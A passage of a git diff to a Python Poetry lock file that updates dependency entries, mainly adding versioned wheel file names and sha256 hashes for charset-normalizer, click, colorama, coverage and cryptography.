= "sha256:fb7f67a1bfa6e40b438170ebdc8158b78dc465a5a67b6dde178a46987b244a72"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc9370a2da1ac13f0153780040f465839e6cccb4a1e44810124b4e22483c93fe"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:07a0eae9e2787b586e129fdcbe1af6997f8d0e5abaa0bc98c0e20e124d67e601"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:74d77e25adda8581ffc1c720f1c81ca082921329452eba58b16233ab1842141c"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d0e909868420b7049dafd3a31d45125b31143eec59235311fc4c57ea26a4acd2"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c6f162aabe9a91a309510d74eeb6507fab5fff92337a15acbe77753d88d9dcf0"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:4ca4c094de7771a98d7fbd67d9e5dbf1eb73efa4f744a730437d8a3a5cf994f0"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:02425242e96bcf29a49711b0ca9f37e451da7c70562bc10e8ed992a5a7a25cc0"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:78deba4d8f9590fe4dae384aeff04082510a709957e968753ff3c48399f6f92a"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-win32.whl", hash = "sha256:d79c198e27580c8e958906f803e63cddb77653731be08851c7df0b1a14a8fc0f"}, + {file = "charset_normalizer-3.4.3-cp310-cp310-win_amd64.whl", hash = "sha256:c6e490913a46fa054e03699c70019ab869e990270597018cef1d8562132c2669"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b256ee2e749283ef3ddcff51a675ff43798d92d746d1a6e4631bf8c707d22d0b"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:13faeacfe61784e2559e690fc53fa4c5ae97c6fcedb8eb6fb8d0a15b475d2c64"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:00237675befef519d9af72169d8604a067d92755e84fe76492fef5441db05b91"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:585f3b2a80fbd26b048a0be90c5aae8f06605d3c92615911c3a2b03a8a3b796f"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e78314bdc32fa80696f72fa16dc61168fda4d6a0c014e0380f9d02f0e5d8a07"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:96b2b3d1a83ad55310de8c7b4a2d04d9277d5591f40761274856635acc5fcb30"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:939578d9d8fd4299220161fdd76e86c6a251987476f5243e8864a7844476ba14"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:fd10de089bcdcd1be95a2f73dbe6254798ec1bda9f450d5828c96f93e2536b9c"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1e8ac75d72fa3775e0b7cb7e4629cec13b7514d928d15ef8ea06bca03ef01cae"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-win32.whl", hash = "sha256:6cf8fd4c04756b6b60146d98cd8a77d0cdae0e1ca20329da2ac85eed779b6849"}, + {file = "charset_normalizer-3.4.3-cp311-cp311-win_amd64.whl", hash = "sha256:31a9a6f775f9bcd865d88ee350f0ffb0e25936a7f930ca98995c05abf1faf21c"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:e28e334d3ff134e88989d90ba04b47d84382a828c061d0d1027b1b12a62b39b1"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0cacf8f7297b0c4fcb74227692ca46b4a5852f8f4f24b3c766dd94a1075c4884"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c6fd51128a41297f5409deab284fecbe5305ebd7e5a1f959bee1c054622b7018"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cfb2aad70f2c6debfbcb717f23b7eb55febc0bb23dcffc0f076009da10c6392"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1606f4a55c0fd363d754049cdf400175ee96c992b1f8018b993941f221221c5f"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:027b776c26d38b7f15b26a5da1044f376455fb3766df8fc38563b4efbc515154"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:42e5088973e56e31e4fa58eb6bd709e42fc03799c11c42929592889a2e54c491"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:cc34f233c9e71701040d772aa7490318673aa7164a0efe3172b2981218c26d93"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:320e8e66157cc4e247d9ddca8e21f427efc7a04bbd0ac8a9faf56583fa543f9f"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-win32.whl", hash = "sha256:fb6fecfd65564f208cbf0fba07f107fb661bcd1a7c389edbced3f7a493f70e37"}, + {file = "charset_normalizer-3.4.3-cp312-cp312-win_amd64.whl", hash = "sha256:86df271bf921c2ee3818f0522e9a5b8092ca2ad8b065ece5d7d9d0e9f4849bcc"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:14c2a87c65b351109f6abfc424cab3927b3bdece6f706e4d12faaf3d52ee5efe"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:41d1fc408ff5fdfb910200ec0e74abc40387bccb3252f3f27c0676731df2b2c8"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1bb60174149316da1c35fa5233681f7c0f9f514509b8e399ab70fea5f17e45c9"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:30d006f98569de3459c2fc1f2acde170b7b2bd265dc1943e87e1a4efe1b67c31"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:416175faf02e4b0810f1f38bcb54682878a4af94059a1cd63b8747244420801f"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6aab0f181c486f973bc7262a97f5aca3ee7e1437011ef0c2ec04b5a11d16c927"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fdabf8315679312cfa71302f9bd509ded4f2f263fb5b765cf1433b39106c3cc9"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:bd28b817ea8c70215401f657edef3a8aa83c29d447fb0b622c35403780ba11d5"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:18343b2d246dc6761a249ba1fb13f9ee9a2bcd95decc767319506056ea4ad4dc"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-win32.whl", hash = "sha256:6fb70de56f1859a3f71261cbe41005f56a7842cc348d3aeb26237560bfa5e0ce"}, + {file = "charset_normalizer-3.4.3-cp313-cp313-win_amd64.whl", hash = "sha256:cf1ebb7d78e1ad8ec2a8c4732c7be2e736f6e5123a4146c5b89c9d1f585f8cef"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3cd35b7e8aedeb9e34c41385fda4f73ba609e561faedfae0a9e75e44ac558a15"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b89bc04de1d83006373429975f8ef9e7932534b8cc9ca582e4db7d20d91816db"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2001a39612b241dae17b4687898843f254f8748b796a2e16f1051a17078d991d"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8dcfc373f888e4fb39a7bc57e93e3b845e7f462dacc008d9749568b1c4ece096"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b97b8404387b96cdbd30ad660f6407799126d26a39ca65729162fd810a99aa"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ccf600859c183d70eb47e05a44cd80a4ce77394d1ac0f79dbd2dd90a69a3a049"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:53cd68b185d98dde4ad8990e56a58dea83a4162161b1ea9272e5c9182ce415e0"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:30a96e1e1f865f78b030d65241c1ee850cdf422d869e9028e2fc1d5e4db73b92"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d716a916938e03231e86e43782ca7878fb602a125a91e7acb8b5112e2e96ac16"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-win32.whl", hash = "sha256:c6dbd0ccdda3a2ba7c2ecd9d77b37f3b5831687d8dc1b6ca5f56a4880cc7b7ce"}, + {file = "charset_normalizer-3.4.3-cp314-cp314-win_amd64.whl", hash = "sha256:73dc19b562516fc9bcf6e5d6e596df0b4eb98d87e4f79f3ae71840e6ed21361c"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:0f2be7e0cf7754b9a30eb01f4295cc3d4358a479843b31f328afd210e2c7598c"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c60e092517a73c632ec38e290eba714e9627abe9d301c8c8a12ec32c314a2a4b"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:252098c8c7a873e17dd696ed98bbe91dbacd571da4b87df3736768efa7a792e4"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3653fad4fe3ed447a596ae8638b437f827234f01a8cd801842e43f3d0a6b281b"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8999f965f922ae054125286faf9f11bc6932184b93011d138925a1773830bbe9"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d95bfb53c211b57198bb91c46dd5a2d8018b3af446583aab40074bf7988401cb"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:5b413b0b1bfd94dbf4023ad6945889f374cd24e3f62de58d6bb102c4d9ae534a"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:b5e3b2d152e74e100a9e9573837aba24aab611d39428ded46f4e4022ea7d1942"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:a2d08ac246bb48479170408d6c19f6385fa743e7157d716e144cad849b2dd94b"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-win32.whl", hash = "sha256:ec557499516fc90fd374bf2e32349a2887a876fbf162c160e3c01b6849eaf557"}, + {file = "charset_normalizer-3.4.3-cp38-cp38-win_amd64.whl", hash = "sha256:5d8d01eac18c423815ed4f4a2ec3b439d654e55ee4ad610e153cf02faf67ea40"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:70bfc5f2c318afece2f5838ea5e4c3febada0be750fcf4775641052bbba14d05"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:23b6b24d74478dc833444cbd927c338349d6ae852ba53a0d02a2de1fce45b96e"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:34a7f768e3f985abdb42841e20e17b330ad3aaf4bb7e7aeeb73db2e70f077b99"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fb731e5deb0c7ef82d698b0f4c5bb724633ee2a489401594c5c88b02e6cb15f7"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:257f26fed7d7ff59921b78244f3cd93ed2af1800ff048c33f624c87475819dd7"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1ef99f0456d3d46a50945c98de1774da86f8e992ab5c77865ea8b8195341fc19"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:2c322db9c8c89009a990ef07c3bcc9f011a3269bc06782f916cd3d9eed7c9312"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:511729f456829ef86ac41ca78c63a5cb55240ed23b4b737faca0eb1abb1c41bc"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:88ab34806dea0671532d3f82d82b85e8fc23d7b2dd12fa837978dad9bb392a34"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-win32.whl", hash = "sha256:16a8770207946ac75703458e2c743631c79c59c5890c80011d536248f8eaa432"}, + {file = "charset_normalizer-3.4.3-cp39-cp39-win_amd64.whl", hash = "sha256:d22dbedd33326a4a5190dd4fe9e9e693ef12160c77382d9e87919bce54f3d4ca"}, + {file = "charset_normalizer-3.4.3-py3-none-any.whl", hash = "sha256:ce571ab16d890d23b5c278547ba694193a45011ff86a9162a71307ed9f86759a"}, + {file = "charset_normalizer-3.4.3.tar.gz", hash = "sha256:6fce4b8500244f6fcb71465d4a4930d132ba9ab8e71a7859e6a5d59851068d14"}, +] [[package]] name = "click" -version = "8.1.7" +version = "8.3.0" description = "Composable command line interface toolkit" -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "click-8.3.0-py3-none-any.whl", hash = "sha256:9b9f285302c6e3064f4330c05f05b81945b2a39544279343e6e7c5f27a9baddc"}, + {file = "click-8.3.0.tar.gz", hash = "sha256:e7b8232224eba16f4ebe410c25ced9f7875cb5f3263ffc93cc3e8da705e229c4"}, +] [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} -importlib-metadata = {version = "*", markers = "python_version < \"3.8\""} [[package]] name = "click-log" version = "0.4.0" description = "Logging integration for Click" -category = "dev" optional = false python-versions = "*" +groups = ["dev"] +files = [ + {file = "click-log-0.4.0.tar.gz", hash = "sha256:3970f8570ac54491237bcdb3d8ab5e3eef6c057df29f8c3d1151a51a9c23b975"}, + {file = "click_log-0.4.0-py2.py3-none-any.whl", hash = "sha256:a43e394b528d52112af599f2fc9e4b7cf3c15f94e53581f74fa6867e68c91756"}, +] [package.dependencies] click = "*" @@ -90,312 +298,810 @@ click = "*" name = "colorama" version = "0.4.6" description = "Cross-platform colored terminal text." -category = "dev" optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["dev"] +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] [[package]] name = "coverage" version = "6.5.0" description = "Code coverage measurement for Python" -category = "dev" optional = false python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "coverage-6.5.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ef8674b0ee8cc11e2d574e3e2998aea5df5ab242e012286824ea3c6970580e53"}, + {file = "coverage-6.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:784f53ebc9f3fd0e2a3f6a78b2be1bd1f5575d7863e10c6e12504f240fd06660"}, + {file = "coverage-6.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4a5be1748d538a710f87542f22c2cad22f80545a847ad91ce45e77417293eb4"}, + {file = "coverage-6.5.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:83516205e254a0cb77d2d7bb3632ee019d93d9f4005de31dca0a8c3667d5bc04"}, + {file = "coverage-6.5.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:af4fffaffc4067232253715065e30c5a7ec6faac36f8fc8d6f64263b15f74db0"}, + {file = "coverage-6.5.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:97117225cdd992a9c2a5515db1f66b59db634f59d0679ca1fa3fe8da32749cae"}, + {file = "coverage-6.5.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a1170fa54185845505fbfa672f1c1ab175446c887cce8212c44149581cf2d466"}, + {file = "coverage-6.5.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:11b990d520ea75e7ee8dcab5bc908072aaada194a794db9f6d7d5cfd19661e5a"}, + {file = "coverage-6.5.0-cp310-cp310-win32.whl", hash = "sha256:5dbec3b9095749390c09ab7c89d314727f18800060d8d24e87f01fb9cfb40b32"}, + {file = "coverage-6.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:59f53f1dc5b656cafb1badd0feb428c1e7bc19b867479ff72f7a9dd9b479f10e"}, + {file = "coverage-6.5.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4a5375e28c5191ac38cca59b38edd33ef4cc914732c916f2929029b4bfb50795"}, + {file = "coverage-6.5.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4ed2820d919351f4167e52425e096af41bfabacb1857186c1ea32ff9983ed75"}, + {file = "coverage-6.5.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:33a7da4376d5977fbf0a8ed91c4dffaaa8dbf0ddbf4c8eea500a2486d8bc4d7b"}, + {file = "coverage-6.5.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a8fb6cf131ac4070c9c5a3e21de0f7dc5a0fbe8bc77c9456ced896c12fcdad91"}, + {file = "coverage-6.5.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a6b7d95969b8845250586f269e81e5dfdd8ff828ddeb8567a4a2eaa7313460c4"}, + {file = "coverage-6.5.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:1ef221513e6f68b69ee9e159506d583d31aa3567e0ae84eaad9d6ec1107dddaa"}, + {file = "coverage-6.5.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cca4435eebea7962a52bdb216dec27215d0df64cf27fc1dd538415f5d2b9da6b"}, + {file = "coverage-6.5.0-cp311-cp311-win32.whl", hash = "sha256:98e8a10b7a314f454d9eff4216a9a94d143a7ee65018dd12442e898ee2310578"}, + {file = "coverage-6.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:bc8ef5e043a2af066fa8cbfc6e708d58017024dc4345a1f9757b329a249f041b"}, + {file = "coverage-6.5.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4433b90fae13f86fafff0b326453dd42fc9a639a0d9e4eec4d366436d1a41b6d"}, + {file = "coverage-6.5.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f4f05d88d9a80ad3cac6244d36dd89a3c00abc16371769f1340101d3cb899fc3"}, + {file = "coverage-6.5.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:94e2565443291bd778421856bc975d351738963071e9b8839ca1fc08b42d4bef"}, + {file = "coverage-6.5.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:027018943386e7b942fa832372ebc120155fd970837489896099f5cfa2890f79"}, + {file = "coverage-6.5.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:255758a1e3b61db372ec2736c8e2a1fdfaf563977eedbdf131de003ca5779b7d"}, + {file = "coverage-6.5.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:851cf4ff24062c6aec510a454b2584f6e998cada52d4cb58c5e233d07172e50c"}, + {file = "coverage-6.5.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:12adf310e4aafddc58afdb04d686795f33f4d7a6fa67a7a9d4ce7d6ae24d949f"}, + {file = "coverage-6.5.0-cp37-cp37m-win32.whl", hash = "sha256:b5604380f3415ba69de87a289a2b56687faa4fe04dbee0754bfcae433489316b"}, + {file = "coverage-6.5.0-cp37-cp37m-win_amd64.whl", hash = "sha256:4a8dbc1f0fbb2ae3de73eb0bdbb914180c7abfbf258e90b311dcd4f585d44bd2"}, + {file = "coverage-6.5.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d900bb429fdfd7f511f868cedd03a6bbb142f3f9118c09b99ef8dc9bf9643c3c"}, + {file = "coverage-6.5.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:2198ea6fc548de52adc826f62cb18554caedfb1d26548c1b7c88d8f7faa8f6ba"}, + {file = "coverage-6.5.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c4459b3de97b75e3bd6b7d4b7f0db13f17f504f3d13e2a7c623786289dd670e"}, + {file = "coverage-6.5.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:20c8ac5386253717e5ccc827caad43ed66fea0efe255727b1053a8154d952398"}, + {file = "coverage-6.5.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b07130585d54fe8dff3d97b93b0e20290de974dc8177c320aeaf23459219c0b"}, + {file = "coverage-6.5.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:dbdb91cd8c048c2b09eb17713b0c12a54fbd587d79adcebad543bc0cd9a3410b"}, + {file = "coverage-6.5.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:de3001a203182842a4630e7b8d1a2c7c07ec1b45d3084a83d5d227a3806f530f"}, + {file = "coverage-6.5.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:e07f4a4a9b41583d6eabec04f8b68076ab3cd44c20bd29332c6572dda36f372e"}, + {file = "coverage-6.5.0-cp38-cp38-win32.whl", hash = "sha256:6d4817234349a80dbf03640cec6109cd90cba068330703fa65ddf56b60223a6d"}, + {file = "coverage-6.5.0-cp38-cp38-win_amd64.whl", hash = "sha256:7ccf362abd726b0410bf8911c31fbf97f09f8f1061f8c1cf03dfc4b6372848f6"}, + {file = "coverage-6.5.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:633713d70ad6bfc49b34ead4060531658dc6dfc9b3eb7d8a716d5873377ab745"}, + {file = "coverage-6.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:95203854f974e07af96358c0b261f1048d8e1083f2de9b1c565e1be4a3a48cfc"}, + {file = "coverage-6.5.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9023e237f4c02ff739581ef35969c3739445fb059b060ca51771e69101efffe"}, + {file = "coverage-6.5.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:265de0fa6778d07de30bcf4d9dc471c3dc4314a23a3c6603d356a3c9abc2dfcf"}, + {file = "coverage-6.5.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f830ed581b45b82451a40faabb89c84e1a998124ee4212d440e9c6cf70083e5"}, + {file = "coverage-6.5.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7b6be138d61e458e18d8e6ddcddd36dd96215edfe5f1168de0b1b32635839b62"}, + {file = "coverage-6.5.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:42eafe6778551cf006a7c43153af1211c3aaab658d4d66fa5fcc021613d02518"}, + {file = "coverage-6.5.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:723e8130d4ecc8f56e9a611e73b31219595baa3bb252d539206f7bbbab6ffc1f"}, + {file = "coverage-6.5.0-cp39-cp39-win32.whl", hash = "sha256:d9ecf0829c6a62b9b573c7bb6d4dcd6ba8b6f80be9ba4fc7ed50bf4ac9aecd72"}, + {file = "coverage-6.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:fc2af30ed0d5ae0b1abdb4ebdce598eafd5b35397d4d75deb341a614d333d987"}, + {file = "coverage-6.5.0-pp36.pp37.pp38-none-any.whl", hash = "sha256:1431986dac3923c5945271f169f59c45b8802a114c8f548d611f2015133df77a"}, + {file = "coverage-6.5.0.tar.gz", hash = "sha256:f642e90754ee3e06b0e7e51bce3379590e76b7f76b708e1a71ff043f87025c84"}, +] [package.extras] -toml = ["tomli"] +toml = ["tomli ; python_full_version <= \"3.11.0a6\""] [[package]] name = "cryptography" -version = "41.0.7" +version = "46.0.1" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." -category = "dev" optional = false -python-versions = ">=3.7" +python-versions = "!=3.9.0,!=3.9.1,>=3.8" +groups = ["dev"] +markers = "sys_platform == \"linux\"" +files = [ + {file = "cryptography-46.0.1-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:1cd6d50c1a8b79af1a6f703709d8973845f677c8e97b1268f5ff323d38ce8475"}, + {file = "cryptography-46.0.1-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0ff483716be32690c14636e54a1f6e2e1b7bf8e22ca50b989f88fa1b2d287080"}, + {file = "cryptography-46.0.1-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9873bf7c1f2a6330bdfe8621e7ce64b725784f9f0c3a6a55c3047af5849f920e"}, + {file = "cryptography-46.0.1-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:0dfb7c88d4462a0cfdd0d87a3c245a7bc3feb59de101f6ff88194f740f72eda6"}, + {file = "cryptography-46.0.1-cp311-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e22801b61613ebdebf7deb18b507919e107547a1d39a3b57f5f855032dd7cfb8"}, + {file = "cryptography-46.0.1-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:757af4f6341ce7a1e47c326ca2a81f41d236070217e5fbbad61bbfe299d55d28"}, + {file = "cryptography-46.0.1-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f7a24ea78de345cfa7f6a8d3bde8b242c7fac27f2bd78fa23474ca38dfaeeab9"}, + {file = "cryptography-46.0.1-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:9e8776dac9e660c22241b6587fae51a67b4b0147daa4d176b172c3ff768ad736"}, + {file = 